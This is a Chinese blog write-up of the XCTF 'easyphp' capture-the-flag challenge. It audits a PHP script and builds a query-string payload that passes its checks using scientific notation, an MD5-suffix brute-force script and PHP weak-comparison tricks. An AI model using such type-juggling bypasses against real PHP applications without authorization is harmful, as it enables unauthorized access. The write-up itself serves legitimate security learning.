攻防世界 - Web - Level 1 | easyphp

关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客

0x01:考点速览

本题的考点是 PHP 代码审计与 PHP 语言特性(考题的 PHP 版本为 PHP/7.4.28):

  • 在低版本 PHP 中,科学计数法形式的数字会被作为字符串识别

    • 1e1 = 10^1 = 10 => strlen(1e9) == 3 => 按照你传入的字符个数确定长度

    • 笔者备注:此特性在 PHP 8 中无法使用

      • strlen(1e9) == 10 => 按照科学计数法数字转换后的长度确定总长度

  • PHP 隐式类型转换 & 弱类型比较(==):PHP 中将一个字符串和一个数值进行比较时,如果字符串以有效数值开始(即字符串的开头包含数字字符),PHP 会尝试将这个字符串转换为一个数值,然后再进行比较。

    • "2023C" > 2022 => Return True

    • "hacker" == 0 => Return True => 此特性在 PHP 8 中无法使用(结果为 False)

  • 拓展:PHP array_search() 函数底层使用 == 进行弱类型匹配。

0x02:Write UP

本关是个代码审计关卡,关卡透露出来的 PHP 代码如下:

 <?php
 highlight_file(__FILE__);
 $key1 = 0;
 $key2 = 0;
 ​
 $a = $_GET['a'];
 $b = $_GET['b'];
 ​
 if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
     if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
         $key1 = 1;
         }else{
             die("Emmm...再想想");
         }
     }else{
     die("Emmm...");
 }
 ​
 $c=(array)json_decode(@$_GET['c']);
 if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
     if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
         $d = array_search("DGGJ", $c["n"]);
         $d === false?die("no..."):NULL;
         foreach($c["n"] as $key=>$val){
             $val==="DGGJ"?die("no......"):NULL;
         }
         $key2 = 1;
     }else{
         die("no hack");
     }
 }else{
     die("no");
 }
 ​
 if($key1 && $key2){
     include "Hgfks.php";
     echo "You're right"."\n";
     echo $flag;
 }
 ​
 ?> Emmm...

笔者还是习惯以结果为导向,进行逆向推理。我们先找到与 Flag 相关的代码,一眼就能定位:

 if($key1 && $key2){
     include "Hgfks.php"; // 包含这个文件
     echo "You're right"."\n";
     echo $flag; // 输出 $flag
 }

那接下来,我们的目的就是让 $key1 && $key2 都为真了。通过分析代码,可以发现这两个 Key 分别属于不同的逻辑中,所以我们可以一个一个过。

0x0201:$key1 = 1

首先定位能使 $key1 = 1 的相关代码,然后一步一步分析:

 $a = $_GET['a'];
 $b = $_GET['b'];
 ​
 if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
     if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
         // 我们需要满足两个 IF 条件判断才可以
         $key1 = 1;
         }else{
             die("Emmm...再想想");
         }
     }else{
     die("Emmm...");
 }

第一个 IF 过关思路如下,绕过使用的是 PHP 语言特性:

 // intval($a) 需要大于 6000000,且 $a 要为长度小于等于 3 的字符串
 if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)
 ​
 // 使用 PHP 科学计数法进行绕过
 $a = 1e9
 ​
 // 绕过解析
 intval($a) = 1000000000 > 6000000
 strlen($a) = 3 <= 3

第二个 IF 需要一点小小的编程,它想要一个特定的 $b 以满足他 md5() 的判断,这个特定的 $b 我们可以通过数字穷举的方式来 Get(md5() 是可爆破的):

 // 需要满足: '8b184b' === substr(md5($b),-6,6)
 if(isset($b) && '8b184b' === substr(md5($b),-6,6))
 ​
 // 以下是我们在本地编制的解题程序 md5_burp.php
 <?php
 $b = 0;
 ​
 while (true) {
     if ('8b184b' === substr(md5($b), -6, 6)) {
         echo $b; // 最终输出: 53724
         break;
     }
     $b += 1;
 }

那么至此,$key1 我们就全部绕过了,绕过的请求参数如下:

 ?a=1e9&b=53724

0x0202:$key2 = 2

然后定位能使 $key2 = 1 的相关代码,然后一步一步分析:

 $c=(array)json_decode(@$_GET['c']);
 if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
     if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
         $d = array_search("DGGJ", $c["n"]);
         $d === false?die("no..."):NULL;
         foreach($c["n"] as $key=>$val){
             $val==="DGGJ"?die("no......"):NULL;
         }
         $key2 = 1;
     }else{
         die("no hack");
     }
 }else{
     die("no");
 }

本次控制的传参是 $c,我们需要给他传递一个 JSON 格式的数据。从第一层 IF 开始分析:

 // 第一层 IF, $c 要为数组,且 $c["m"] 不是数字但要大于 2022
 if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)
 ​
 // 这里考察的是 PHP 的隐式类型转换 => "2023C" > 2022
 // 此时可以构造 $c 内容如下(注意是 Json 格式)
 $c = {"m" : "2023C"}

下面看进入第二层 IF 的条件:

// $c["n"] 要为数组,且其长度为 2,且 $c["n"][0] 也要为数组
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))

// 按照上述要求构造即可
$c = {"m" : "2023C", "n" : [[], ""]}

继续往下看,第二层 IF 中还有过滤逻辑:

// 从 $c["n"] 中搜索 DGGJ
$d = array_search("DGGJ", $c["n"]);
// 如果成功搜索到 DGGJ,就过关,否则终止流程
$d === false?die("no..."):NULL;
// 遍历 `$c["n"]` 查找 Value 为 DGGJ 的项,找到就 GG 了
foreach($c["n"] as $key=>$val){
    $val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;

在上面的过滤逻辑中,它写了两个矛盾的判断既要找到 DGGJ 又要找不到 DGGJ。很明显,又是一个考点。

此处的考点是 array_search() 使用的是 == 进行弱类型匹配的。绕过很简单,在低版本的 PHP 中 "DGGJ" == 0,所以此处过关的 Payload 如下:

$c = {"m" : "2023C", "n" : [[], 0]}

// Payload 解析
$d = array_search("DGGJ", $c["n"]); => 会误认为 DGGJ 与 0 等价,所以 $d == True
foreach($c["n"] as $key=>$val){
    $val==="DGGJ"?die("no......"):NULL; // 哥么传递的数组里确实没有 DGGJ,直接绕过
}

综合上述分析流程,得出我们最终过关的 Payload 如下:

?a=1e9&b=53724&c={"m":"2023C","n":[[],0]}

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hack3rX_BLUE17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值